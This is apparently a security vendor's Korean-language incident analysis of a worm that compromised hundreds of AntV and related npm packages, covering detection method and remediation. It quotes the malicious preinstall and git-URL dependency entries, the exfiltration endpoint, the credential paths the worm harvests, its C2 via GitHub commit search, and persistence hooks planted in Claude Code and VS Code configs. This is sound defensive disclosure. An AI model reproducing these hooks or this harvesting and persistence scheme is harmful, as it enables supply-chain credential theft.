AntV npm 계정 탈취 사고: Cremit Argus 파이프라인이 Mini Shai-Hulud 웨이브에서 324건을 30분 만에 포착한 방법
2026년 5월 19일 01:39 UTC부터 02:56 UTC 사이, 두 차례의 집중 burst로 npm 패키지 323개에 악성 버전 639개가 게시되었습니다. 탈취된 `atool` 세션 하나는 진입점에 불과했습니다. 페이로드의 worm 로직이 감염된 호스트의 다른 메인테이너 npm 토큰까지 수집해 그 명의로 재배포했으며, 이로 인해 웨이브에 30명의 publisher 핸들이 분포합니다. Cremit Argus는 OSSF flagged 이벤트에 대해 의도적으로 LLM 합의를 우회하는 OSV-MAL override 경로를 통해 30분 안에 324건을 surface 했습니다. 본 글은 공격 구조, 탐지 방법론, 그리고 분석 초기 단계의 false-positive 사례를 정리합니다.

목차(9)
목차
5월 19일 사건 개요
01:39 UTC에 atool (이메일 atool.online@gmail.com) 계정에서 대량 publish가 개시되었다. Alibaba @antv/* 시각화 OSS 전반을 관리하는 핵심 메인테이너 계정이다. 1차 burst가 01:39~01:56 UTC에 약 317개 버전, 2차 burst가 02:05~02:06 UTC에 약 314개 버전을 배포했다. 01:39부터 02:56까지 약 1시간 17분에 걸친 파상 공세를 통해 패키지 323개에 악성 버전 639개가 게시되었다 (SafeDep 집계는 317/637, Socket 집계는 323/639. 두 출처가 약간 다르게 집계하나 동일 사건이다). 영향 범위에는 @antv/g2 (주간 다운로드 35.4만), @antv/g6, @antv/l7, @antv/s2가 포함되며, scope 외 라이브러리 가운데 size-sensor (월 420만), echarts-for-react (월 380만), timeago.js (월 115만) 등이 포함된다.
Argus의 패키지별 publish 타임스탬프 기록에 따르면 본 웨이브의 첫 4건은 @antv/* scope 외부 패키지이다. atool은 GitHub 사용자 hustcc의 npm 계정이며, Ant Group 소속 프런트엔드 엔지니어로서 @antv/* 외에도 본인 개인 OSS 패키지를 동일 publish 자격증명으로 관리한다. 웨이브의 시작은 hustcc/* 유틸리티이며 순서는 다음과 같다. jest-canvas-mock@2.5.3 (01:39:31 UTC, 본 웨이브 최초 악성 publish), size-sensor@1.0.4 (01:44:36), echarts-for-react@3.0.7 (01:47:12), jest-date-mock@1.0.11 (01:49:41). 01:50 UTC부터 @antv/* 대량 재배포로 전환되었다. 본격 burst에 앞선 정찰 publish로 보이는 hustcc/amapcn@0.1.2는 그보다 11시간 전인 2026-05-18 14:23:03 UTC에 게시되었으며, 본 자격증명에서 관측된 최초 악성 release이다. 운영상의 함의는 명확하다. 단일 메인테이너의 npm 토큰이 탈취되면 해당 토큰의 publish 권한이 적용되는 모든 패키지가 영향 범위이다. 트래픽이 높은 organization scope뿐 아니라 메인테이너 개인 portfolio repo까지 동일하게 포함된다. tarball 크기 패턴 또한 동일한 결론을 뒷받침한다. echarts-for-react@3.0.7은 530 KB 규모로 게시되었으며, 이는 정상 release의 수십 KB 대비 현저히 크고 @antv/* carrier에 동봉된 약 498 KB 난독화 번들 대역과 일치한다.
12일 사이 두 번째로 확인된 Mini Shai-Hulud 웨이브이다. 첫 번째 웨이브는 5월 7일부터 11일까지 @tanstack/*, @squawk/*, @uipath/*를 OIDC trusted-publishing 우회로 공격한 사건으로, TanStack 웨이브 incident 페이지에 별도로 정리되어 있다. Socket의 누적 집계 기준으로 이번 캠페인 전체 규모는 패키지 502개, 악성 버전 1,055개이다.
Cremit Argus 인제스트 파이프라인은 본 웨이브를 실시간으로 포착했다. 당일 오전 worker 데몬 재시작 직후 30분 안에 324건이 public catch feed로 auto-publish되었고, campaign-cluster alert 11건이 발화했다. 가장 진단력이 높았던 owner-change-wave axis는 멤버 30개에 합산 blast radius가 주간 196만 다운로드였다.
패키지별 상세 정보, IOC 번들, 참조 링크는 정식 incident 페이지인 incidents.cremit.io/incidents/antv-mini-shai-hulud-2026에 정리되어 있다. 본 글은 탐지 방법론과 운영상의 교훈에 초점을 둔다.
공격 구조: 이중 실행 경로
본 웨이브의 모든 악성 버전에는 두 가지 실행 경로가 동시에 탑재되어 있다. 방어자가 npm install script를 차단하더라도 fallback이 동작하도록 설계된 구조이다.
경로 A (주 경로): Bun 번들을 실행하는 preinstall 훅. 수정된 package.json에 "preinstall": "bun run index.js"가 기록되며, tarball 루트에는 498 KB 규모의 난독화된 index.js가 함께 포함된다 (SHA-256 a68dd1e6a6e35ec3771e1f94fe796f55dfe65a2b94560516ff4ac189390dfa1c, SafeDep 분석 출처). node 대신 Bun을 채택한 운영상의 이유는 두 가지이다. 첫째, Bun은 TypeScript와 최신 문법을 트랜스파일 없이 실행하므로, 정적 분석 도구가 Bun 런타임 모델을 충분히 반영하지 못한 만큼 난독화의 은닉 효과가 강화된다. 둘째, Bun이 설치되지 않은 호스트에서는 명령이 즉시 실패하여 fallback 경로가 동작한다.
경로 B (fallback): optionalDependencies git-URL 주입. 동일 package.json에 다음 항목이 추가로 기록된다.
"optionalDependencies": {
"@antv/setup": "github:antvis/G2#1916faa365f2788b6e193514872d51a242876569"
}
해당 SHA가 가리키는 위치는 SafeDep이 명명한 임포스터 커밋 (imposter commit)으로, antvis/G2의 공유 object 저장소 안에 위치한다. 실제 antvis/G2에 대한 쓰기 권한을 필요로 하지 않는다는 점이 핵심이다. SafeDep 분석에 따른 절차는 다음과 같다. (1) 공격자가 antvis/G2를 포크한다 (GitHub 계정만 있으면 누구나 가능). (2) git config user.email을 합법 메인테이너의 주소로 설정해 author 헤더를 huiyu.zjt (Alexzjt, Ant Group 소속)로 위조한다. (3) 부모가 없고 어떤 브랜치에도 연결되지 않는 orphan commit을 만들어 "New Package" 메시지로 498 KB 페이로드를 담아 push한다. (4) 흔적을 지우기 위해 포크 자체를 삭제한다. GitHub는 부모 저장소와 그 포크 사이에 Git alternates로 object 저장소를 공유하기 때문에, 포크가 사라진 뒤에도 commit object는 antvis/G2의 object store에 그대로 잔존하며 SHA로 fetch 가능한 상태가 유지된다 (GitHub가 unreachable object를 GC할 때까지). npm install은 SHA만 있으면 branch, tag, fork 출처를 검증하지 않고 commit을 가져오므로, antvis/G2의 이벤트 로그에는 push 이벤트가 남지 않고, PR도 만들어지지 않으며, branch도 건드려지지 않는다. 정식 메인테이너 입장에서 사실상 보이지 않는 공격이다. npm이 SHA로 clone을 진행하면 cloned tree의 prepare 스크립트가 실행되어 동일한 harvester가 구동된다. 본 prepare-스크립트 악용 패턴은 TanStack 웨이브의 worm 로직을 운반한 방식과 동일하며, AntV 웨이브에서는 preinstall과 병렬로 동작하는 fallback으로 결합되었다. SafeDep이 정리한 imposter SHA는 세 개이며, 그중 1916faa3…이 639개 버전 가운데 626개를 실제로 운반했다.
지속성: AI 코딩 에이전트 + IDE 설정 파일 감염. 페이로드는 npm install 단계에서 멈추지 않는다. 실행 과정에서 타깃 저장소 (탈취한 GitHub 토큰으로 접근)와 개발자의 로컬 파일 시스템 양쪽에 일련의 파일을 기록하여, 추후 Claude Code 세션, OpenAI Codex 세션, VS Code 워크스페이스 오픈 시점마다 누가 npm install을 다시 실행하지 않아도 페이로드가 재기동된다. 일회성 공급망 침해를 장기 잔존 침해로 전환하는 핵심 surface다. 타깃 저장소에 commit되는 파일은 다음과 같다 (감염된 저장소를 clone하는 모든 개발자가 자동 감염): .claude/settings.json — Claude Code SessionStart 훅, matcher: "*" + command: "node .claude/setup.mjs"로 prompt와 무관하게 모든 세션 시작 시 실행; .claude/setup.mjs — Bun v1.3.14를 GitHub releases에서 다운로드해 페이로드를 실행하는 부트스트래퍼; .claude/index.js — 실행 중인 페이로드의 사본; .vscode/tasks.json — Environment Setup 라벨의 태스크, "runOn": "folderOpen"으로 VS Code (또는 .vscode/ 설정을 공유하는 OpenAI Codex)가 폴더를 열 때마다 node .claude/setup.mjs 호출; .vscode/setup.mjs — 동일한 Bun bootstrapper. 로컬 호스트 파일 시스템에서는 페이로드의 Vo 클래스가 ~/.claude/package/index.js와 ~/.codex/package/index.js에 페이로드 사본을 추가로 떨군 뒤, Bun.Glob("**/settings.json")으로 발견되는 모든 settings.json에 SessionStart 훅을 주입한다. 단 한 번의 침해된 npm install이 머신 내 모든 Claude Code 워크스페이스로 lateral spread된다는 의미다. SafeDep이 명시한 대상은 Claude Code, OpenAI Codex (.vscode/ 설정 공유 경로), VS Code다. Cursor, Aider, Continue, GitHub Copilot, Windsurf는 SafeDep 분석에 명시되지 않았으나 로컬 설정 관행이 겹치므로 동일 머신에서 함께 점검할 가치가 있다.
유출 경로: OTLP 트래픽으로 위장한 HTTPS POST, 하이브리드 암호화 봉투. harvester는 https://t.m-kosche.com/api/public/otel/v1/traces로 POST 요청을 전송한다. 경로 형태가 OpenTelemetry trace 수집 엔드포인트와 동일하여, egress 필터가 평소 허용하는 trace 트래픽 사이에서 식별되기 어렵다. 페이로드는 평문이 아니라 하이브리드 암호화 봉투에 담겨 전송된다. SafeDep의 분석에 따르면 페이로드의 eu 베이스 클래스는 매 전송마다 32바이트 AES-256-GCM 키를 새로 생성하여 gzip 압축한 JSON 본문을 암호화하고, 해당 AES 키를 페이로드에 내장된 RSA 공개키 (코드상 G7)로 RSA-OAEP 래핑한다. 따라서 MITM 또는 egress 검사 도구가 TLS 세션을 들여다보더라도 내부에서 전송되는 자격증명을 판독할 수 없다. 도메인 자체가 새로 등록되었으며 정상적인 사용처가 존재하지 않는다는 사실만이 유일하게 신뢰 가능한 신호다.
여기서 그치지 않는다. GitHub 기반 외부 유출 dead-drop이 함께 구현되어 있다. 감염된 호스트의 GitHub 자격증명으로 피해자 본인 계정 하위에 새 저장소를 생성한 뒤 (Dune 테마 이름 패턴 <word>-<word>-<digits>, 예: sayyadina-stillsuit-852), 해당 저장소의 results/ 디렉토리에 수집한 데이터를 commit하여 공격자가 GitHub 측에서 회수하는 방식이다 (Socket 분석 출처). t.m-kosche.com으로의 egress 차단만으로는 외부 유출을 봉쇄할 수 없으며, 피해자 조직의 GitHub Audit Log에서 예상치 못한 저장소 생성 이벤트를 함께 모니터링해야 한다.
Long-tail C2: GitHub commit-search + RSA-PSS 서명 명령
SafeDep의 리버스 엔지니어링은 위 dead-drop과 구조적으로 별개인 양방향 GitHub 채널을 추가로 문서화한다. 감염된 데몬은 GitHub Search API를 1시간 간격으로 polling하면서 키워드 firedalazer가 포함된 commit을 검색한다. 마커가 일치하는 commit은 firedalazer <base64_url>.<base64_signature> 형식이며, 데몬은 하드코딩된 4096-bit RSA 공개키 + RSA-PSS / SHA-256으로 서명을 검증한 뒤에만 URL에서 Python 코드를 가져와 실행한다. 운영 측 의미는 명확하다. 공격자는 데몬의 검색 인덱스에 잡히는 임의의 public GitHub 저장소에 commit 하나만 만들면 전 세계 감염 머신 전체에 새 명령을 송달할 수 있다. t.m-kosche.com을 차단해도 캠페인은 살아남는다. 키워드와 RSA pubkey 조합의 수명이 개별 hosting 차단보다 길기 때문이다.
방어자 관점에서 firedalazer는 신뢰도 높은 문자열 IOC이다. https://api.github.com/search/commits 경로에 대한 SIEM 규칙에 추가하고, GitHub query를 발생시킬 이유가 없는 production 호스트에서 api.github.com으로의 outbound 트래픽을 점검할 필요가 있다. Socket은 본 메커니즘을 독립적으로 보고하지 않았으며, 위 상세는 SafeDep 출처이다.
Worm 전파: 도미노 메커니즘. Socket의 분석에 따르면 자격증명을 수집한 harvester는 곧이어 ~/.npmrc와 /-/npm/v1/tokens 엔드포인트로 피해자의 npm publish 권한을 enumerate하고, 레지스트리 API로 각 토큰의 유효성을 검증한 뒤, publish 가능한 모든 패키지에 경로 A와 B를 동일하게 주입하고 버전을 올려 다시 push한다. 핵심은 이 단계가 `atool` 한 계정에 한정되지 않는다는 점이다. 감염된 개발자 머신이나 CI runner에 다른 메인테이너 (wang1212, iaaron, alex_zjt, newbyvector 등 정상 메인테이너) 의 npm 토큰이 함께 존재할 경우 (공유 CI runner, 다중 조직 권한이 부여된 개발자 노트북, cross-scope publish 권한을 가진 monorepo build runner 등 OSS 환경에서 흔히 발생), worm은 해당 토큰까지 모두 활용한다. 이로 인해 워커 DB에는 30명에 달하는 publisher 분포가 형성되었다. wang1212, iaaron, alex_zjt 등의 핸들은 공격자가 아니라 피해자이다. 이들의 토큰이 별도 호스트에서 유출되어 그 명의의 패키지에서 악성 release가 연쇄적으로 게시된 결과이다. 재사용 가능한 publish 자격증명을 보유한 피해자가 곧 전파자가 되는 구조이므로, 패키지 323개라는 수치는 특정 시점의 스냅샷이며 상한선이 아니다.
무엇이 노출되는가, 그리고 그 범위가 왜 문제인가
harvester sweep의 범위는 의도된 설계의 결과이다. 구체적인 타깃은 다음과 같이 분류된다.
- 클라우드 자격증명. AWS 환경 변수,
~/.aws/credentials, EC2 인스턴스 메타데이터 (169.254.169.254), ECS 태스크 메타데이터 (169.254.170.2), region 내 Secrets Manager. GCP service account JSON과gcloud기본 자격증명. Azure 환경 기반 service principal과~/.azure/디렉토리. - 레지스트리 및 source-forge 자격증명. GitHub PAT, GitHub App 토큰, Actions OIDC 토큰, gh CLI의
~/.config/gh/hosts.yml. npm.npmrc와/-/npm/v1/tokens엔드포인트로 신규 발급된 publish 토큰. token 파일이 존재할 경우 GitLab CI, Travis, CircleCI, Jenkins. - 인프라 시크릿. SSH 개인키 (
id_rsa,id_ed25519)./var/run/secrets/kubernetes.io/serviceaccount/의 Kubernetes service account 자료. 환경 변수와~/.vault-token의 HashiCorp Vault 토큰.~/.docker/config.json의 Docker auth. 환경 변수 및 일반적인 config 경로의 DB 연결 문자열. - 애플리케이션 시크릿 및 password vault. 1Password (
.1password), Bitwarden (data.json),pass및gopass저장소. 환경 변수와 파일 시스템 전반에 대한 shape-matching regex sweep을 통해 Slack 토큰, Stripe 키, 일반 API 키까지 함께 수집한다.
범위 자체가 본 사고의 핵심이다. 운영 환경에서 관측되는 어떤 NHI inventory도 위 surface를 완전히 enumerate하지 못한다. AWS 키와 GitHub 토큰을 정밀하게 audit하는 조직에서도, inventory가 인지하지 못하는 Slack 토큰이 특정 개발자의 노트북 env 파일에 잔존하는 경우가 발생한다. 사고 대응 측면의 함의는 명확하다. 차단 전략을 allowlist 기반으로 구성해서는 안 된다. "공격자가 보유했을 가능성이 있는 자격증명을 전부 열거한다"는 작업은 시간 안에 완료되지 않는다. 차단은 perimeter에서 egress를 차단하고 (*.m-kosche.com), 노출 구간 내에서 출처별로 토큰을 일괄 회전하며 (npm publish 토큰 전체, AWS 인스턴스 role 전체, GitHub OIDC trust binding 전체), CI 로그를 역추적하여 직전 lockfile에 없던 preinstall 항목 또는 git-URL optionalDependencies 항목을 식별하는 forensic search로 진행되어야 한다.
자격증명 세트의 범위는 worm의 전파 속도가 빠른 이유도 함께 설명한다. npm publish 토큰 하나가 유출되면 해당 사용자가 publish 권한을 보유한 모든 패키지가 일괄적으로 영향권에 들어간다. GitHub App 토큰 하나가 유출되면 해당 App의 OIDC subject를 신뢰하는 모든 클라우드 계정으로 federation이 전파된다. Vault 토큰 하나가 유출되면 정책이 허용한 모든 시크릿이 정책 범위만큼 노출된다. NHI sprawl이 단순한 inventory 문제로 인식되어 왔다면, 본 worm 사례는 이를 attack-surface multiplier 문제로 재정의하게 만든다.
Argus의 탐지 방식
30분 안에 324건을 surface한 파이프라인은 두 개의 데몬이 협력하여 동작한다.
패키지별 analyzer. scripts/worker.ts가 npm replication _changes 스트림을 consume한다. 새 버전이 수신될 때마다 heuristic scorer가 publisher 계정 연령, install-script 존재 여부, OSSF malicious-packages 미러와의 cross-reference를 종합적으로 평가한다. 매치가 발생하면 해당 행에 osv-flagged:MAL-2026-3982 형식의 flag가 부착된다. 본 웨이브에서는 거의 모든 캡처 이벤트에 publisher-multi-name-burst:5 (단일 publisher가 최근 5개 이상의 distinct name을 push)가 부착되었고, 소유권 전환이 발생한 행에는 recent-owner-change 또는 dormant-takeover:prev=<old-pub>@<old-ver>가 추가로 부착되었다. 종합 heuristic score는 70대에 안착하여 auto-publish 임계값을 큰 폭으로 상회했다.
AntV 클러스터에 대한 정적 tarball 스캔은 유의미한 결과를 산출하지 못했다. 악성 코드가 498 KB 규모의 난독화된 번들 내부에 위치하며 literal-string IOC 패턴 어디에도 매치되지 않기 때문이다. 또한 publish된 tarball의 소스 파일은 정상적인 패키지의 형태를 그대로 유지하고 있다. 로컬 Ollama 환경에서 구동되는 1.5B qwen2.5-coder chained classifier 역시 동일한 판단을 내려 label="benign" confidence=0.85와 함께 "no suspicious destination, no remote-exec shape" 라는 근거를 출력했다. LLM 동의에 의존하는 단순한 결정 로직이었다면 본 catch는 전부 low-signal로 격하되었을 것이다. 프로젝트 초기에 OSV-MAL override path가 늦게 도입되면서 동일 형태로 195건이 격하된 regression 사례가 있었고, 이 시점이 실제로 한 차례 누락이 발생했던 지점이다.
현재 decision.ts에서 운영 중인 fix가 OSV-MAL override path이다. 어떤 행이 osv-flagged:MAL-* heuristic flag를 보유하고 heuristic score가 60 이상일 경우, LLM verdict와 무관하게 auto-publish로 분류한다. 근거는 명확하다. OSSF의 malicious-packages 미러는 1.5B 로컬 모델이 "webhook bin이 식별되지 않았다"고 산출한 결론보다 강도가 높은 외부 신호이다. LLM 결과는 분석가의 맥락 파악을 위해 행에 보존되지만, disposition 결정에는 관여하지 않는다. 본 웨이브에서 324건을 누락 없이 포착할 수 있었던 것은 이 override 경로 덕분이다.
Campaign detector. scripts/campaign-detector.ts는 5분 간격으로 동작한다. 직전 24시간 동안 auto-publish된 catch를 공유 인프라 축으로 그룹화한다. 본 웨이브에서 발화한 클러스터는 다음과 같다.
(10-row table omitted in this view — see the canonical incident page at [incidents.cremit.io/incidents/antv-mini-shai-hulud-2026](https://incidents.cremit.io/incidents/antv-mini-shai-hulud-2026) for the full table.)
이 가운데 owner-change-wave:active axis가 본 사건에 대한 진단력이 가장 높다. 패키지의 현재 publisher가 직전 stable 버전의 publisher와 상이하고, 직전 버전이 7일 이상 경과한 경우를 그룹화한다. 24시간 윈도우 내에서 이러한 이벤트가 30건 관측되었다는 것은 명확한 coordinated takeover의 징후이다. 웨이브에서 포착된 표본은 다음과 같다.
@antv/adjust, 현재kasmine, 직전atool@0.2.3@antv/dom-util, 현재kasmine, 직전atool@2.0.3@antv/g-shader-components, 현재alex_zjt, 직전panyuqi@1.8.7@antv/g6-element, 현재banxuan, 직전iaaron@0.8.24@antv/graphin-components, 현재iaaron, 직전pomelo-nwu@2.4.0timeago-react, 현재domdomegg, 직전alanwei0@3.0.6
이를 "서로 무관한 메인테이너 30명이 동일한 날짜에 release를 수행했다"고 해석하기에는 타이밍이 비현실적이다. "탈취된 단일 세션이 @antv org 전반에 걸쳐 publish를 분산시키면서, attribution을 흐리기 위해 주변 핸들을 함께 사용했다"고 해석할 때 모든 IOC가 정합적으로 들어맞는다.
shared-credential-target axis도 주목할 만하다. chained classifier의 NHI Intent extractor (Ollama cascade의 stage 3)가 각 악성 패키지가 어떤 자격증명 그룹을 노리는지 구조화된 JSON으로 추출한다. 클러스터 윈도우 내에서 동일 타깃이 독립 catch 3건 이상에 등장하면 axis가 발화한다. 본 웨이브에서는 SSH 개인키, AWS credentials 파일, gh CLI host 토큰이 모두 해당 기준을 충족했다. "324건의 개별 catch"를 "단일 coordinated harvester"로 통계가 아닌 의미 단위에서 묶어 주는 axis이다.
분석 초기 단계의 false-positive 사례
일반화 가능한 교훈이므로 명시적으로 기술한다.
publisher-axis 클러스터 alert가 대시보드에 최초 관측된 시점 (panyuqi, kasmine, neoddish, pddpd, atool, lzxue) npm 생태계에 대한 사전 지식을 보유한 분석가의 초기 판단은 false positive였다. 여섯 계정 모두 수년간의 OSS 활동 이력을 보유한다. lzxue 단독으로 @antv/g6, @antv/g2, @antv/f2 core를 포함한 npm 패키지 327개를 보유한다. atool은 timeago.js, slice.js, xmorse, ribbon.js 등 micro-utility 패키지 238개를 보유한다. "베테랑 메인테이너가 하루에 수백 버전을 publish한다"는 형태는 일반적인 AntV release train과 동일하다.
이에 대한 초기 대응안은 여섯 계정을 모두 lib/known-legit-publishers.ts에 추가하고, @antv/* scope 전체를 allowlist에 등록하며, "메인테이너가 historical package를 50개 이상 보유한 경우 클러스터를 자동으로 product-line으로 분류"하는 prolific publisher pre-LLM gate를 추가하는 것이었다. 실제로 해당 commit이 작성되었고, release 직전 단계까지 진행되었다.
최종 release를 중단시킨 요인은 release train 해석으로는 설명되지 않는 세 가지 보강 신호였다.
- 모든 catch에 부착된 OSV-MAL flag. 클러스터의 모든 행에 당일 OSSF malicious-packages 미러가 신규 발급한
MAL-2026-*advisory ID가 부착되어 있었다. 정상적인 release train은 OSV에 신규 malicious-packages 항목을 생성하지 않는다. - npm 레지스트리의 `time.modified`.
https://registry.npmjs.org/<package>에 직접 query한 결과, 수년간 안정적으로 유지되던 패키지의modified타임스탬프가 당일 오전 시점으로 갱신되어 있었다.xmorse@1.0.0은 2020년 이후 변경되지 않은 상태였으나,xmorse@1.1.0과1.2.0이 2026-05-19 09:47 UTC에 신규 tarball로 게시되었다. - `timeago-react`의 `dormant-takeover:prev=alanwei0@3.0.6` 플래그. 3년간 publisher가 유지되던 패키지가 다른 핸들로 재배포되었다. 단일 사례라면 정상적인 소유권 이전일 수 있으나, 24시간 내 30건은 통계적으로 발생할 수 없는 수치다.
세 신호 중 하나만 단독으로 존재할 경우 주의 신호에 해당한다. 세 신호가 동시에 나타날 경우 해석상의 모호성은 즉시 해소된다.
현재 known-legit-publisher 리뷰 체크리스트에 반영된 교훈은 명확하다. prolific veteran 메인테이너의 compromise는 그 자체로 최악의 시나리오이며, legitimacy 신호로 해석되어서는 안 된다. 장기간 축적된 신뢰는 그대로 blast radius로 전환된다. "패키지 수가 많고 계정이 오래되었다 → 정상일 가능성이 높다"는 인지 반사는 takeover를 설계하는 공격자가 정확히 노리는 지점이다. 따라서 어떤 whitelist commit이든 다음 세 가지 절차를 통과해야 한다. (a) publisher의 최근 패키지에 대한 OSV-MAL query, (b) 최근 72시간 time.modified 검증, (c) SafeDep / Socket / Aikido / GHSA 피드에서 ongoing 캠페인과의 cross-reference. 철회된 commit (ea64e01)이 cautionary tale로 보존되었으며, revert commit이 공백을 해소했다.
본 사례를 공개적으로 기술하는 이유는, 공개 레지스트리 기반의 maintainer-behavior heuristic을 구성하는 모든 팀이 동일한 인지 반사에 직면할 가능성이 높기 때문이다. 탐지 로직 어딘가에 "prolific 계정은 정상일 가능성이 높다"는 가중치가 포함되어 있다면, Mini Shai-Hulud 계열이 해당 가중치가 부정확한 사례에 해당하며, 소유권 변경 신호와 OSV 신호가 동시에 유입될 때 가중치는 역전되어야 한다.
운영자 대응 항목 (우선순위 순)
조치 항목은 간결하고 구체적이다. 우선순위 순으로 기술한다.
- 모든 npm publish 토큰 회전. 2026-05-19 01:39~02:56 UTC 사이에
@antv/*,size-sensor,echarts-for-react,timeago.js, 또는 영향받은 323개 패키지 중 하나라도 사용한 개발자 또는 CI runner의 모든 토큰.npm token list로 enumerate하고npm token revoke <token-id>+ 신규 발급으로 노출 구간을 차단한다. - `*.m-kosche.com`으로의 egress 차단. 회사 프록시 및 CI egress 필터 양쪽에서 시행한다. 정상 코드는 해당 도메인으로 POST하지 않는다.
- publish window 주변의 lockfile diff.
package-lock.json(또는pnpm-lock.yaml,yarn.lock)에 대해 2026-05-19 01:30 UTC를 기점으로 24시간 윈도우의 변경 사항을git diff로 검토한다. 직전 버전에 부재하던preinstall스크립트 또는git+형태의optionalDependencies항목이 신규로 추가된 버전이 주입 시점이다. - IMDSv1을 악성 코드의 친화적 surface로 간주. 모든 EC2 인스턴스에 IMDSv2를
HttpPutResponseHopLimit=1로 강제한다. 컨테이너 측 자격증명은 인스턴스 메타데이터가 아닌 workload-identity (IRSA, GKE Workload Identity, Azure AD pod identity)에 결합되어야 한다. - Vault auth method 감사. env에 기록된 long-lived
VAULT_TOKEN패턴을 runner identity에 결합된 workload-bound JWT/OIDC auth로 교체한다. - CI 호스트의 OSSF malicious-packages 갱신.
MAL-2026-3845…MAL-2026-4161ID가 웨이브와 동일한 날 발급되었다. advisory DB를 시간당 1회 미만으로 갱신하는 스캐너는 attack window를 누락하며, 차단이 유효한 구간이 바로 이 window이다.
전체 IOC 번들과 패키지별 리스트는 정식 incident 페이지인 incidents.cremit.io/incidents/antv-mini-shai-hulud-2026에 정리되어 있다.
Cremit의 관측 영역
Mini Shai-Hulud 계열 worm은 자격증명을 매개로 전파된다. 탈취된 atool 세션이 639개 버전을 publish할 수 있었던 이유는 해당 토큰이 수백 개 패키지에 대한 publish 권한을 보유했기 때문이며, 이 단계에서 수집된 자격증명이 후속 republish를 가능하게 한 이유는 해당 자격증명이 개발자 및 CI 머신의 평문 config에 그대로 노출되어 있었기 때문이다. 두 문제의 공통 근본 원인은 동일하다. NHI가 inventory 도구가 백그라운드 환경으로 분류하는 위치에 축적되면서 scope를 확보하고 영속화된다는 점이다.
Cremit Argus는 본 글에서 기술한 탐지의 상시 운영 버전이다. source repository, container registry, CI 로그, pipeline artifact를 모니터링하며 자격증명 형태의 문자열을 포착하고, 동일한 chained pipeline (heuristic, static, LLM, NHI Intent extractor)을 통해 분류하여 실제 노출 패턴에 부합하는 결과만 surface한다. 본 웨이브를 30분 안에 정확히 분류한 동일 classifier가, private GitHub 저장소에 AWS access key가 체크인된 후 3분 이내에 (공개 미러를 스크레이핑하는 공격자보다 먼저) flag를 발생시킨다.
올해 초 발표한 NHI Kill Chain 프레임이 본 사고에 그대로 적용된다. atool 세션은 Ghost Key에 해당한다 (장기 잔존, 광범위한 권한, inventory에 미노출). 유출된 OIDC 및 IMDS 자격증명은 Drifted Key에 해당한다 (설계상 short-lived이나 TTL 내에서 replay 가능). 실제 메인테이너 핸들로 publish된 악성 버전은 Unattributed Key에 해당한다 (감사 로그에 공격자가 표시되지 않으며, 정상 권한 주체가 정상 작업을 수행한 것으로 기록됨). 각 단계마다 개입 지점이 상이하며, Cremit는 ghost-key 단계에 위치하여 동작한다. 자격증명을 조기에 surface할수록 운영자에게 확보되는 대응 선택지가 더 많기 때문이다.
참조
- Mini Shai-Hulud Strikes Again: 317 npm Packages Compromised, SafeDep, 2026-05-19
- AntV Packages Compromised, Socket, 2026-05-19
- Mini Shai-Hulud is back: TanStack compromised, Aikido Security, 2026-05-12
- OSV malicious-packages: MAL-2026-3982 (@antv/g6)
- OSV malicious-packages: MAL-2026-4159 (xmorse)
- OSSF malicious-packages GitHub mirror
- Cremit incident: AntV Mini Shai-Hulud (2026-05-19), 정식 writeup
- Cremit incident: TanStack Mini Shai-Hulud (2026-05-07~11)
- Cremit blog: NHI Kill Chain, Ghost Key
- Cremit blog: NHI Kill Chain, Drifted Key
- Cremit blog: NHI Kill Chain, Unattributed Key
- Cremit Argus, 상시 NHI 자격증명 노출 탐지
다음 글을 메일로 받아보세요
Cremit 리서치 팀의 월간 NHI 브리프. 한 통에 핵심만 담습니다.
